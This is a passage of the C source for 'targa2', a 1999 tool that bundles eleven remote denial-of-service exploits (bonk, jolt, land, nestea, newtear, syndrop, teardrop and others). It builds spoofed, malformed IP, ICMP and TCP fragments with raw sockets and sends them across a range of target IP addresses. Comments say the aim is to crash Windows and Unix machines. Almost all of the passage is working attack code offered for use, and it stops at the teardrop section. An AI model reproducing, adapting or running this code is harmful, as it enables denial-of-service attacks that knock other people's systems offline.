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targa2.c
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Wrap
C/C++ Source or Header
|
2005-02-12
|
43KB
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1,499 lines
/* targa2.c - copyright by Mixter <mixter@popmail.com>
version 2.1 - released 22/3/99 - interface to 11
multi-platform remote denial of service exploits
gcc -Wall -O2 targa2.c -o targa2 ; strip targa2 */
/*
* featured exploits / authors / vulnerable platforms
* bonk by route|daemon9 & klepto - win95, nameservers
* jolt by Jeff W. Roberson (overdrop: Mixter) - win95, klog (old linux)
* land by m3lt - win95/nt, old un*x's
* nestea by humble & ttol - older linux/bsd?
* newtear by route|daemon9 - linux/bsd/win95/others
* syndrop by PineKoan - linux/win95/?
* teardrop by route|daemon9 - lots of os's
* winnuke by _eci - win95/win31
* 1234 by DarkShadow/Flu - win95/98/nt/others?
* saihyousen by noc-wage - win98/firewalls/routers
* oshare by r00t zer0 - win9x/NT/macintosh
*/
/* http://members.xoom.com/i0wnu - code copyright by Mixter */
/* these are user definable */
#define LANDPORT 113 /* remote port for land's */
#define WNUKEPORT 139 /* port for winnukes */
#define LANDREP 15 /* repeat land attack x times */
#define JOLTREP 15 /* repeat jolt attack x times */
#define BONKREP 15 /* repeat bonk attack x times */
#define WNUKEREP 0 /* repeat winnuke x times */
#define COUNT 15 /* repeat frag attacks x times */
#define NESCOUNT 15 /* repeat nestea attack x times */
#define X1234COUNT 50 /* repeat 1234 attack x times */
#define SAICOUNT 50 /* repeat saihyousen attack x times */
#define OSHCOUNT 50 /* repeat oshare attack x times */
#define __FAVOR_BSD /* for newer linux */
#define TH_SYN 0x02 /* for lame includes */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <getopt.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/tcp.h>
#include <netinet/udp.h>
#include <netinet/udp.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <sys/types.h>
#define FIX(n) htons(n) /* define this to (n), if using BSD */
#define IPH 0x14 /* IP header size */
#define UDPH 0x8 /* UDP header size */
#define IP_MF 0x2000 /* Fragmention offset */
#define MAGIC 0x3 /* Teardrop Magic fragmentation constant (tm) */
#define MAGIC2 108 /* Nestea Magic fragmentation constant (tm) */
#define NESPADDING 256 /* Padding for Nestea */
#define PADDING 0x14 /* Padding for other frag's */
#define TCPH sizeof(struct tcphdr) /* TCP header size (nestea) */
#define TPADDING 0x1c /* Padding for original teardrop */
/* main() - user interface & some functions */
struct ipstuph
{
int p1;
int p2;
int p3;
int p4;
}
startip, endip;
void targa (u_char *);
u_long leet_resolve (u_char *);
u_short in_cksum (u_short *, int);
int hax0r (char *, int);
int targa_help (u_char *);
int bonk (char *);
int jolt (char *);
int land (char *);
int nestea (char *);
int newtear (char *);
int syndrop (char *);
int teardrop (char *);
int winnuke (char *, int);
int x1234 (char *);
int saihyousen (char *);
int oshare (char *);
int
main (int argc, char **argv)
{
int count = 1, i, j, dostype = 0;
char hit_ip[18], dst_ip2[18], dst_ip[4096];
fprintf (stderr, "\t\t
targa 2.1 by
Mixter
\n");
if ((argv[1] == "-help") || (argv[1] == "--help") || (argv[1] == "-h") || (argv[1] == "--h"))
targa_help (argv[0]);
if (argc < 3)
if (argc < 2)
targa (argv[0]);
strncpy (dst_ip, argv[1], 4096);
if (argc == 2)
{
strncpy (dst_ip2, argv[1], 18);
}
else
{
strncpy (dst_ip2, argv[2], 18);
}
if (sscanf (dst_ip, "%d.%d.%d.%d", &startip.p1, &startip.p2, &startip.p3, &startip.p4) != 4)
{
targa_help (argv[0]);
fprintf (stderr, "Error, %s: Please use a start IP containing 4 zones\n", argv[1]);
exit (1);
}
if (startip.p1 > 255)
{
targa_help (argv[0]);
fprintf (stderr, "Zone 1 of start ip is incorrect (greater than 255)\n");
exit (1);
}
if (startip.p2 > 255)
{
targa_help (argv[0]);
fprintf (stderr, "Zone 2 of start ip is incorrect (greater than 255)\n");
exit (1);
}
if (startip.p3 > 255)
{
targa_help (argv[0]);
fprintf (stderr, "Zone 3 of start ip is incorrect (greater than 255)\n");
exit (1);
}
if (startip.p4 > 255)
{
targa_help (argv[0]);
fprintf (stderr, "Zone 4 of start ip is incorret (greater than 255)\n");
exit (1);
}
if (sscanf (dst_ip2, "%d.%d.%d.%d", &endip.p1, &endip.p2, &endip.p3, &endip.p4) != 4)
{
targa_help (argv[0]);
fprintf (stderr, "Error, %s: Please use an end IP containing 4 zones\n", argv[2]);
exit (1);
}
if (endip.p1 > 255)
{
targa_help (argv[0]);
fprintf (stderr, "Zone 1 of end ip is incorrect (greater than 255)\n");
exit (1);
}
if (endip.p2 > 255)
{
targa_help (argv[0]);
fprintf (stderr, "Zone 2 of end ip is incorrect (greater than 255)\n");
exit (1);
}
if (endip.p3 > 255)
{
targa_help (argv[0]);
fprintf (stderr, "Zone 3 of end ip is incorrect (greater than 255)\n");
exit (1);
}
if (endip.p4 > 255)
{
targa_help (argv[0]);
fprintf (stderr, "Zone 4 of end ip is incorrect (greater than 255)\n");
exit (1);
}
if (startip.p1 != endip.p1)
{
targa_help (argv[0]);
fprintf (stderr, "Zone 1 of start ip and end ip is different\n");
exit (1);
}
if (startip.p2 != endip.p2)
{
targa_help (argv[0]);
fprintf (stderr, "Zone 2 of start ip and end ip is different\n");
exit (1);
}
if (startip.p3 != endip.p3)
{
targa_help (argv[0]);
fprintf (stderr, "Zone 3 of start ip and end ip is different\n");
exit (1);
}
while ((i = getopt (argc, argv, "t:n:h")) != EOF)
{
switch (i)
{
case 't':
dostype = atoi (optarg); /* type of DOS */
break;
case 'n': /* number to send */
count = atoi (optarg);
break;
case 'h': /* quiet mode */
targa_help (argv[0]);
break;
default:
targa (argv[0]);
break; /* NOTREACHED */
}
}
srandom ((unsigned) (time ((time_t) 0)));
srand (time (NULL));
fprintf (stderr, "
Leet
ness on f
laxen wing
s
:\n");
fprintf (stderr, "
To
:
%s - %s
\n", dst_ip, dst_ip2);
fprintf (stderr, "
Repeats
:
%5d
\n", count);
fprintf (stderr, "
Type
:
%5d
\n", dostype);
for (j = startip.p4; j <= endip.p4; j++)
{
sprintf (hit_ip, "%d.%d.%d.%d", startip.p1, startip.p2, startip.p3, j);
fprintf (stderr, "
%s
[
", hit_ip);
for (i = 0; i < count; i++)
{
hax0r (hit_ip, dostype);
usleep (10);
}
fprintf (stderr, "
]
\n");
}
fprintf (stderr, "\t
-all done-
\n");
return (0);
}
int
hax0r (char *vm, int te)
{
int counter;
/* beginning of hardcoded ereetness :P */
if (te == 1 || te == 0)
bonk (vm);
if (te == 2 || te == 0)
jolt (vm);
if (te == 3 || te == 0)
land (vm);
if (te == 4 || te == 0)
nestea (vm);
if (te == 5 || te == 0)
newtear (vm);
if (te == 6 || te == 0)
syndrop (vm);
if (te == 7 || te == 0)
teardrop (vm);
if (te == 8 || te == 0)
{
if ((!WNUKEREP) && (te == 8))
winnuke (vm, 10);
winnuke (vm, WNUKEREP);
}
if (te == 9 || te == 0)
{
for (counter = 0; counter <= X1234COUNT; counter++)
x1234 (vm);
}
if (te == 10 || te == 0)
{
for (counter = 0; counter <= SAICOUNT; counter++)
saihyousen (vm);
}
if (te == 11 || te == 0)
{
for (counter = 0; counter <= OSHCOUNT; counter++)
oshare (vm);
}
return (31337);
}
u_long
leet_resolve (u_char * host_name)
{
struct in_addr addr;
struct hostent *host_ent;
if ((addr.s_addr = inet_addr (host_name)) == -1)
{
if (!(host_ent = gethostbyname (host_name)))
return (0);
bcopy (host_ent->h_addr, (char *) &addr.s_addr, host_ent->h_length);
}
return (addr.s_addr);
}
void
targa (u_char * name)
{
fprintf (stderr, "
usage: %s <startIP> <endIP> [-t type] [-n repeats]
\n", name);
exit (0);
}
int
targa_help (u_char * name)
{
fprintf (stderr, "
usage: %s <startIP> <endIP> [-t type] [-n repeats]\n", name);
fprintf (stderr, "startIP - endIP:
IP range to send packets to (destination)\n");
fprintf (stderr, "
start and end must be on the same C class (1.1.1.X)\n");
fprintf (stderr, "repeats:
repeat the whole cycle n times (default is 1)\n");
fprintf (stderr, "
type:
kind of remote DoS to send (default is 0)\n");
fprintf (stderr, "
1 = bonk (
$
) 2 = jolt (
@
) 3 = land (
-
)\n");
fprintf (stderr, "4 = nestea (
.
) 5 = newtear (
#
)\n");
fprintf (stderr, "6 = syndrop (
&
) 7 = teardrop (
%%
) 8 = winnuke (
*
)\n");
fprintf (stderr, "9 = 1234 (
!
) 10 = saihyousen (
+
) 11 = oshare (
|
)\n");
fprintf (stderr, "
0 = use all remote DoS types at once\n
");
exit (0);
}
u_short
in_cksum (u_short * addr, int len)
{
int nleft = len, sum = 0;
u_short *w = addr, answer = 0;
while (nleft > 1)
{
sum += *w++;
nleft -= 2;
}
if (nleft == 1)
{
*(u_char *) (&answer) = *(u_char *) w;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return (answer);
}
/* bonk(destination) */
struct udp_pkt
{
struct iphdr ip;
struct udphdr udp;
char data[0x1c];
}
pkt;
int udplen = sizeof (struct udphdr), iplen = sizeof (struct iphdr), datalen = 100,
psize = sizeof (struct udphdr) + sizeof (struct iphdr) + 0x1c, spf_sck; /* Socket */
u_long
host_to_ip (char *host_name)
{
static u_long ip_bytes;
struct hostent *res;
res = gethostbyname (host_name);
if (res == NULL)
return (0);
memcpy (&ip_bytes, res->h_addr, res->h_length);
return (ip_bytes);
}
void
quit (char *reason)
{
perror (reason);
close (spf_sck);
exit (-1);
}
int
fondle (int sck, u_long src_addr, u_long dst_addr, int src_prt,
int dst_prt)
{
int bs;
struct sockaddr_in to;
memset (&pkt, 0, psize);
/* Fill in ip header */
pkt.ip.version = 4;
pkt.ip.ihl = 5;
pkt.ip.tot_len = htons (udplen + iplen + 0x1c);
pkt.ip.id = htons (0x455);
pkt.ip.ttl = 255;
pkt.ip.protocol = IPPROTO_UDP;
pkt.ip.saddr = src_addr;
pkt.ip.daddr = dst_addr;
pkt.ip.frag_off = htons (0x2000); /* more to come */
pkt.udp.source = htons (src_prt); /* udp header */
pkt.udp.dest = htons (dst_prt);
pkt.udp.len = htons (8 + 0x1c);
/* send 1st frag */
to.sin_family = AF_INET;
to.sin_port = src_prt;
to.sin_addr.s_addr = dst_addr;
bs = sendto (sck, &pkt, psize, 0, (struct sockaddr *) &to,
sizeof (struct sockaddr));
pkt.ip.frag_off = htons (0x3 + 1); /* shinanigan */
pkt.ip.tot_len = htons (iplen + 0x3);
/* 2nd frag */
bs = sendto (sck, &pkt, iplen + 0x3 + 1, 0,
(struct sockaddr *) &to, sizeof (struct sockaddr));
return bs;
}
int
bonk (char *bonk_host)
{
int i, src_prt = 53, dst_prt = 53, bs = 1, pkt_count = BONKREP;
u_long dst_addr = host_to_ip (bonk_host);
if (!dst_addr)
quit ("bad target host");
spf_sck = socket (AF_INET, SOCK_RAW, IPPROTO_RAW);
if (!spf_sck)
quit ("socket()");
if (setsockopt (spf_sck, IPPROTO_IP, IP_HDRINCL, (char *) &bs,
sizeof (bs)) < 0)
quit ("IP_HDRINCL");
for (i = 0; i < pkt_count; ++i)
{
fondle (spf_sck, rand (), dst_addr, src_prt, dst_prt);
fprintf (stderr, "
$
");
usleep (1000);
}
close (spf_sck);
return 0;
}
/* jolt(destination) */
int
jolt (char *jolt_host)
{
int s, i;
char buf[400];
struct ip *ip = (struct ip *) buf;
struct icmphdr *icmp = (struct icmphdr *) (ip + 1);
struct hostent *hp;
struct sockaddr_in dst;
int offset, on = 1, num = JOLTREP;
bzero (buf, sizeof buf);
if ((s = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
perror ("socket");
exit (1);
}
if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, &on, sizeof (on)) < 0)
{
perror ("IP_HDRINCL");
exit (1);
}
for (i = 1; i <= num; i++)
{
if ((hp = gethostbyname (jolt_host)) == NULL)
{
if ((ip->ip_dst.s_addr = inet_addr (jolt_host)) == -1)
{
fprintf (stderr, "%s: unknown host\n", jolt_host);
exit (1);
}
}
else
{
bcopy (hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);
}
ip->ip_src.s_addr = rand ();
fprintf (stderr, "
@
");
inet_ntoa (ip->ip_dst);
ip->ip_v = 4;
ip->ip_hl = sizeof *ip >> 2;
ip->ip_tos = 0;
ip->ip_len = htons (sizeof buf);
ip->ip_id = htons (4321);
ip->ip_off = htons (0);
ip->ip_ttl = 255;
ip->ip_p = 1;
dst.sin_addr = ip->ip_dst;
dst.sin_family = AF_INET;
icmp->type = ICMP_ECHO;
icmp->code = 0;
icmp->checksum = htons (~(ICMP_ECHO << 8));
for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip))
{
ip->ip_off = htons (offset >> 3);
if (offset < 65120)
ip->ip_off |= htons (0x2000);
else
ip->ip_len = htons (418); /* make total 65538 */
if (sendto (s, buf, sizeof buf, 0, (struct sockaddr *) &dst,
sizeof dst) < 0)
{
fprintf (stderr, "offset %d: ", offset);
perror ("sendto");
}
if (offset == 0)
{
icmp->type = 0;
icmp->code = 0;
icmp->checksum = 0;
}
}
}
close (s);
return 0;
}
/* land(destination,port) */
typedef u_long tcp_seq;
struct tcxhdr
{
u_short th_sport;
u_short th_dport;
tcp_seq th_seq;
tcp_seq th_ack;
#if __BYTE_ORDER == __LITTLE_ENDIAN
u_char th_x2:
4, th_off:
4;
#endif
#if __BYTE_ORDER == __BIG_ENDIAN
u_char th_off:
4, th_x2:
4;
#endif
u_char th_flags;
u_short th_win;
u_short th_sum;
u_short th_urp;
};
struct pseudohdr
{
struct in_addr saddr;
struct in_addr daddr;
u_char zero;
u_char protocol;
u_short length;
struct tcxhdr tcpheader;
};
u_short
checksum (u_short * data, u_short length)
{
register long value = 0;
u_short i;
for (i = 0; i < (length >> 1); i++)
value += data[i];
if ((length & 1) == 1)
value += (data[i] << 8);
value = (value & 65535) + (value >> 16);
return (~value);
}
int
land (char *land_host)
{
struct sockaddr_in sin;
struct hostent *hoste;
int sock, i;
char buffer[40];
struct iphdr *ipheader = (struct iphdr *) buffer;
struct tcxhdr *tcpheader = (struct tcxhdr *) (buffer + sizeof (struct iphdr));
struct pseudohdr pseudoheader;
static int land_port = LANDPORT;
bzero (&sin, sizeof (struct sockaddr_in));
sin.sin_family = AF_INET;
if ((hoste = gethostbyname (land_host)) != NULL)
bcopy (hoste->h_addr, &sin.sin_addr, hoste->h_length);
else if ((sin.sin_addr.s_addr = inet_addr (land_host)) == -1)
{
fprintf (stderr, "unknown host %s\n", land_host);
return (-1);
}
if ((sin.sin_port = htons (land_port)) == 0)
return (-1);
if ((sock = socket (AF_INET, SOCK_RAW, 255)) == -1)
return (-1);
bzero (&buffer, sizeof (struct iphdr) + sizeof (struct tcxhdr));
ipheader->version = 4;
ipheader->ihl = sizeof (struct iphdr) / 4;
ipheader->tot_len = htons (sizeof (struct iphdr) + sizeof (struct tcxhdr));
ipheader->id = htons (0xF1C);
ipheader->ttl = 255;
ipheader->protocol = IPPROTO_TCP;
ipheader->saddr = sin.sin_addr.s_addr;
ipheader->daddr = sin.sin_addr.s_addr;
tcpheader->th_sport = sin.sin_port;
tcpheader->th_dport = sin.sin_port;
tcpheader->th_seq = htonl (0xF1C);
tcpheader->th_flags = TH_SYN;
tcpheader->th_off = sizeof (struct tcxhdr) / 4;
tcpheader->th_win = htons (2048);
bzero (&pseudoheader, 12 + sizeof (struct tcxhdr));
pseudoheader.saddr.s_addr = sin.sin_addr.s_addr;
pseudoheader.daddr.s_addr = sin.sin_addr.s_addr;
pseudoheader.protocol = 6;
pseudoheader.length = htons (sizeof (struct tcxhdr));
bcopy ((char *) tcpheader, (char *) &pseudoheader.tcpheader, sizeof (struct tcxhdr));
tcpheader->th_sum = checksum ((u_short *) & pseudoheader, 12 + sizeof (struct tcxhdr));
for (i = 0; i < LANDREP; i++)
{
if (sendto (sock, buffer, sizeof (struct iphdr) + sizeof (struct tcxhdr), 0, (struct sockaddr *) &sin, sizeof (struct sockaddr_in)) == -1)
{
fprintf (stderr, "couldn't send packet\n");
return (-1);
}
fprintf (stderr, "
-
");
}
close (sock);
return (0);
}
/* nestea(source, destination) */
u_long name_resolve (u_char *);
void send_nes (int, u_long, u_long, u_short, u_short);
int
nestea (char *nes_host)
{
int one = 1, count = 0, i, rip_sock;
u_long src_ip = 0, dst_ip = 0;
u_short src_prt = 0, dst_prt = 0;
struct in_addr addr;
if ((rip_sock = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
perror ("raw socket");
exit (1);
}
if (setsockopt (rip_sock, IPPROTO_IP, IP_HDRINCL, (char *) &one, sizeof (one))
< 0)
{
perror ("IP_HDRINCL");
exit (1);
}
if (!(dst_ip = name_resolve (nes_host)))
{
fprintf (stderr, "What the hell kind of IP address is that?\n");
exit (1);
}
src_ip = rand ();
srandom ((unsigned) (time ((time_t) 0)));
src_prt = (random () % 0xffff);
dst_prt = (random () % 0xffff);
count = NESCOUNT;
addr.s_addr = src_ip;
addr.s_addr = dst_ip;
for (i = 0; i < count; i++)
{
send_nes (rip_sock, src_ip, dst_ip, src_prt, dst_prt);
fprintf (stderr, "
.
");
usleep (500);
}
close (rip_sock);
return (0);
}
void
send_nes (int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
u_short dst_prt)
{
int i;
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
u_char byte; /* a byte */
struct sockaddr_in sin; /* socket protocol structure */
sin.sin_family = AF_INET;
sin.sin_port = src_prt;
sin.sin_addr.s_addr = dst_ip;
packet = (u_char *) malloc (IPH + UDPH + NESPADDING + 40);
p_ptr = packet;
bzero ((u_char *) p_ptr, IPH + UDPH + NESPADDING);
byte = 0x45; /* IP version and header length */
memcpy (p_ptr, &byte, sizeof (u_char));
p_ptr += 2; /* IP TOS (skipped) */
*((u_short *) p_ptr) = FIX (IPH + UDPH + 10); /* total length */
p_ptr += 2;
*((u_short *) p_ptr) = htons (242); /* IP id */
p_ptr += 2;
*((u_short *) p_ptr) |= FIX (IP_MF); /* IP frag flags and offset */
p_ptr += 2;
*((u_short *) p_ptr) = 0x40; /* IP TTL */
byte = IPPROTO_UDP;
memcpy (p_ptr + 1, &byte, sizeof (u_char));
p_ptr += 4; /* IP checksum filled in by kernel */
*((u_long *) p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
*((u_long *) p_ptr) = dst_ip; /* IP destination address */
p_ptr += 4;
*((u_short *) p_ptr) = htons (src_prt); /* UDP source port */
p_ptr += 2;
*((u_short *) p_ptr) = htons (dst_prt); /* UDP destination port */
p_ptr += 2;
*((u_short *) p_ptr) = htons (8 + 10); /* UDP total length */
if (sendto (sock, packet, IPH + UDPH + 10, 0, (struct sockaddr *) &sin,
sizeof (struct sockaddr)) == -1)
{
perror ("\nsendto");
free (packet);
exit (1);
}
p_ptr = packet;
bzero ((u_char *) p_ptr, IPH + UDPH + NESPADDING);
byte = 0x45; /* IP version and header length */
memcpy (p_ptr, &byte, sizeof (u_char));
p_ptr += 2; /* IP TOS (skipped) */
*((u_short *) p_ptr) = FIX (IPH + UDPH + MAGIC2); /* total length */
p_ptr += 2;
*((u_short *) p_ptr) = htons (242); /* IP id */
p_ptr += 2;
*((u_short *) p_ptr) = FIX (6); /* IP frag flags and offset */
p_ptr += 2;
*((u_short *) p_ptr) = 0x40; /* IP TTL */
byte = IPPROTO_UDP;
memcpy (p_ptr + 1, &byte, sizeof (u_char));
p_ptr += 4; /* IP checksum filled in by kernel */
*((u_long *) p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
*((u_long *) p_ptr) = dst_ip; /* IP destination address */
p_ptr += 4;
*((u_short *) p_ptr) = htons (src_prt); /* UDP source port */
p_ptr += 2;
*((u_short *) p_ptr) = htons (dst_prt); /* UDP destination port */
p_ptr += 2;
*((u_short *) p_ptr) = htons (8 + MAGIC2); /* UDP total length */
if (sendto (sock, packet, IPH + UDPH + MAGIC2, 0, (struct sockaddr *) &sin,
sizeof (struct sockaddr)) == -1)
{
perror ("\nsendto");
free (packet);
exit (1);
}
p_ptr = packet;
bzero ((u_char *) p_ptr, IPH + UDPH + NESPADDING + 40);
byte = 0x4F; /* IP version and header length */
memcpy (p_ptr, &byte, sizeof (u_char));
p_ptr += 2; /* IP TOS (skipped) */
*((u_short *) p_ptr) = FIX (IPH + UDPH + NESPADDING + 40);
p_ptr += 2;
*((u_short *) p_ptr) = htons (242); /* IP id */
p_ptr += 2;
*((u_short *) p_ptr) = 0 | FIX (IP_MF); /* IP frag flags and offset */
p_ptr += 2;
*((u_short *) p_ptr) = 0x40; /* IP TTL */
byte = IPPROTO_UDP;
memcpy (p_ptr + 1, &byte, sizeof (u_char));
p_ptr += 4; /* IP checksum filled in by kernel */
*((u_long *) p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
*((u_long *) p_ptr) = dst_ip; /* IP destination address */
p_ptr += 44;
*((u_short *) p_ptr) = htons (src_prt); /* UDP source port */
p_ptr += 2;
*((u_short *) p_ptr) = htons (dst_prt); /* UDP destination port */
p_ptr += 2;
*((u_short *) p_ptr) = htons (8 + NESPADDING); /* UDP total length */
for (i = 0; i < NESPADDING; i++)
{
p_ptr[i++] = random () % 255;
}
if (sendto (sock, packet, IPH + UDPH + NESPADDING, 0, (struct sockaddr *) &sin,
sizeof (struct sockaddr)) == -1)
{
perror ("\nsendto");
free (packet);
exit (1);
}
free (packet);
}
u_long
name_resolve (u_char * host_name)
{
struct in_addr addr;
struct hostent *host_ent;
if ((addr.s_addr = inet_addr (host_name)) == -1)
{
if (!(host_ent = gethostbyname (host_name)))
return (0);
bcopy (host_ent->h_addr, (char *) &addr.s_addr, host_ent->h_length);
}
return (addr.s_addr);
}
/* newtear(destination) */
void newt_frags (int, u_long, u_long, u_short, u_short);
int
newtear (char *newt_host)
{
int one = 1, count = 0, i, rip_sock;
u_long src_ip = 0, dst_ip = 0;
u_short src_prt = 0, dst_prt = 0;
struct in_addr addr;
if ((rip_sock = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
perror ("raw socket");
exit (1);
}
if (setsockopt (rip_sock, IPPROTO_IP, IP_HDRINCL, (char *) &one, sizeof (one))
< 0)
{
perror ("IP_HDRINCL");
exit (1);
}
if (!(dst_ip = name_resolve (newt_host)))
{
fprintf (stderr, "What the hell kind of IP address is that?\n");
exit (1);
}
src_ip = rand ();
srandom ((unsigned) (time ((time_t) 0)));
src_prt = (random () % 0xffff);
dst_prt = (random () % 0xffff);
count = COUNT;
addr.s_addr = src_ip;
addr.s_addr = dst_ip;
for (i = 0; i < count; i++)
{
newt_frags (rip_sock, src_ip, dst_ip, src_prt, dst_prt);
fprintf (stderr, "
#
");
usleep (500);
}
close (rip_sock);
return (0);
}
/*
* Send two IP fragments with pathological offsets. We use an implementation
* independent way of assembling network packets that does not rely on any of
* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
*/
void
newt_frags (int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
u_short dst_prt)
{
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
u_char byte; /* a byte */
struct sockaddr_in sin; /* socket protocol structure */
sin.sin_family = AF_INET;
sin.sin_port = src_prt;
sin.sin_addr.s_addr = dst_ip;
/*
* Grab some memory for our packet, align p_ptr to point at the beginning
* of our packet, and then fill it with zeros.
*/
packet = (u_char *) malloc (IPH + UDPH + PADDING);
p_ptr = packet;
bzero ((u_char *) p_ptr, IPH + UDPH + PADDING); // Set it all to zero
byte = 0x45; /* IP version and header length */
memcpy (p_ptr, &byte, sizeof (u_char));
p_ptr += 2; /* IP TOS (skipped) */
*((u_short *) p_ptr) = FIX (IPH + UDPH + PADDING); /* total length */
p_ptr += 2;
*((u_short *) p_ptr) = htons (242); /* IP id */
p_ptr += 2;
*((u_short *) p_ptr) |= FIX (IP_MF); /* IP frag flags and offset */
p_ptr += 2;
*((u_short *) p_ptr) = 0x40; /* IP TTL */
byte = IPPROTO_UDP;
memcpy (p_ptr + 1, &byte, sizeof (u_char));
p_ptr += 4; /* IP checksum filled in by kernel */
*((u_long *) p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
*((u_long *) p_ptr) = dst_ip; /* IP destination address */
p_ptr += 4;
*((u_short *) p_ptr) = htons (src_prt); /* UDP source port */
p_ptr += 2;
*((u_short *) p_ptr) = htons (dst_prt); /* UDP destination port */
p_ptr += 2;
*((u_short *) p_ptr) = htons (8 + PADDING * 2); /* UDP total length *//* Increases UDP total length to 48 bytes
Which is too big! */
if (sendto (sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *) &sin,
sizeof (struct sockaddr)) == -1)
{
perror ("\nsendto");
free (packet);
exit (1);
}
/* We set the fragment offset to be inside of the previous packet's
* payload (it overlaps inside the previous packet) but do not include
* enough payload to cover complete the datagram. Just the header will
* do, but to crash NT/95 machines, a bit larger of packet seems to work
* better.
*/
p_ptr = &packet[2]; /* IP total length is 2 bytes into the header */
*((u_short *) p_ptr) = FIX (IPH + MAGIC + 1);
p_ptr += 4; /* IP offset is 6 bytes into the header */
*((u_short *) p_ptr) = FIX (MAGIC);
if (sendto (sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *) &sin,
sizeof (struct sockaddr)) == -1)
{
perror ("\nsendto");
free (packet);
exit (1);
}
free (packet);
}
/* syndrop(destination) */
u_long name_resolve (u_char *);
void send_synd (int, u_long, u_long, u_short, u_short, u_long, u_long);
int
syndrop (char *synd_host)
{
int one = 1, count = 0, i, rip_sock;
u_long src_ip = 0, dst_ip = 0;
u_short src_prt = 0, dst_prt = 0;
u_long s_start = 0, s_end = 0;
struct in_addr addr;
if ((rip_sock = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
perror ("raw socket");
exit (1);
}
if (setsockopt (rip_sock, IPPROTO_IP, IP_HDRINCL, (char *) &one, sizeof (one)) < 0)
{
perror ("IP_HDRINCL");
exit (1);
}
if (!(dst_ip = name_resolve (synd_host)))
{
fprintf (stderr, "What the hell kind of IP address is that?\n");
exit (1);
}
src_ip = rand ();
srandom ((unsigned) (time ((time_t) 0)));
src_prt = (random () % 0xffff);
dst_prt = (random () % 0xffff);
count = COUNT;
addr.s_addr = src_ip;
addr.s_addr = dst_ip;
for (i = 0; i < count; i++)
{
send_synd (rip_sock, src_ip, dst_ip, src_prt, dst_prt, s_start, s_end);
fprintf (stderr, "
&
");
usleep (500);
}
close (rip_sock);
return (0);
}
/*
* Send two IP fragments with pathological offsets. We use an implementation
* independent way of assembling network packets that does not rely on any of
* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
*/
void
send_synd (int sock, u_long src_ip, u_long dst_ip, u_short src_prt, u_short dst_prt, u_long seq1, u_long seq2)
{
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
u_char byte; /* a byte */
struct sockaddr_in sin; /* socket protocol structure */
sin.sin_family = AF_INET;
sin.sin_port = src_prt;
sin.sin_addr.s_addr = dst_ip;
/*
* Grab some memory for our packet, align p_ptr to point at the beginning
* of our packet, and then fill it with zeros.
*/
packet = (u_char *) malloc (IPH + UDPH + PADDING);
p_ptr = packet;
bzero ((u_char *) p_ptr, IPH + UDPH + PADDING); /* Set it all to zero */
byte = 0x45; /* IP version and header length */
memcpy (p_ptr, &byte, sizeof (u_char));
p_ptr += 2; /* IP TOS (skipped) */
*((u_short *) p_ptr) = FIX (IPH + UDPH + PADDING); /* total length */
p_ptr += 2;
*((u_short *) p_ptr) = htons (242); /* IP id */
p_ptr += 2;
*((u_short *) p_ptr) |= FIX (IP_MF); /* IP frag flags and offset */
p_ptr += 2;
*((u_short *) p_ptr) = 0x40; /* IP TTL */
byte = IPPROTO_TCP;
memcpy (p_ptr + 1, &byte, sizeof (u_char));
p_ptr += 4; /* IP checksum filled in by kernel */
*((u_long *) p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
*((u_long *) p_ptr) = dst_ip; /* IP destination address */
p_ptr += 4;
*((u_short *) p_ptr) = htons (src_prt); /* TCP source port */
p_ptr += 2;
*((u_short *) p_ptr) = htons (dst_prt); /* TCP destination port */
p_ptr += 2;
*((u_long *) p_ptr) = seq1; /* TCP sequence # */
p_ptr += 4;
*((u_long *) p_ptr) = 0; /* ack */
p_ptr += 4;
*((u_short *) p_ptr) = htons (8 + PADDING * 2); /* TCP data offset */
/* Increases TCP total length to 48 bytes Which is too big! */
p_ptr += 2;
*((u_char *) p_ptr) = TH_SYN; /* flags: mark SYN */
p_ptr += 1;
*((u_short *) p_ptr) = seq2 - seq1; /* window */
*((u_short *) p_ptr) = 0x44; /* checksum : this is magic value for NT, W95. dissasemble M$ C++ to see why, if you have time */
*((u_short *) p_ptr) = 0; /* urgent */
if (sendto (sock, packet, IPH + TCPH + PADDING, 0, (struct sockaddr *) &sin,
sizeof (struct sockaddr)) == -1)
{
perror ("\nsendto");
free (packet);
exit (1);
}
/* We set the fragment offset to be inside of the previous packet's
* payload (it overlaps inside the previous packet) but do not include
* enough payload to cover complete the datagram. Just the header will
* do, but to crash NT/95 machines, a bit larger of packet seems to work
* better.
*/
p_ptr = &packet[2]; /* IP total length is 2 bytes into the header */
*((u_short *) p_ptr) = FIX (IPH + MAGIC + 1);
p_ptr += 4; /* IP offset is 6 bytes into the header */
*((u_short *) p_ptr) = FIX (MAGIC);
p_ptr = &packet[24]; /* hop in to the sequence again... */
*((u_long *) p_ptr) = seq2; /* TCP sequence # */
if (sendto (sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *) &sin, sizeof (struct sockaddr)) == -1)
{
perror ("\nsendto");
free (packet);
exit (1);
}
free (packet);
}
/* teardrop(destination) */
u_long name_resolve (u_char *);
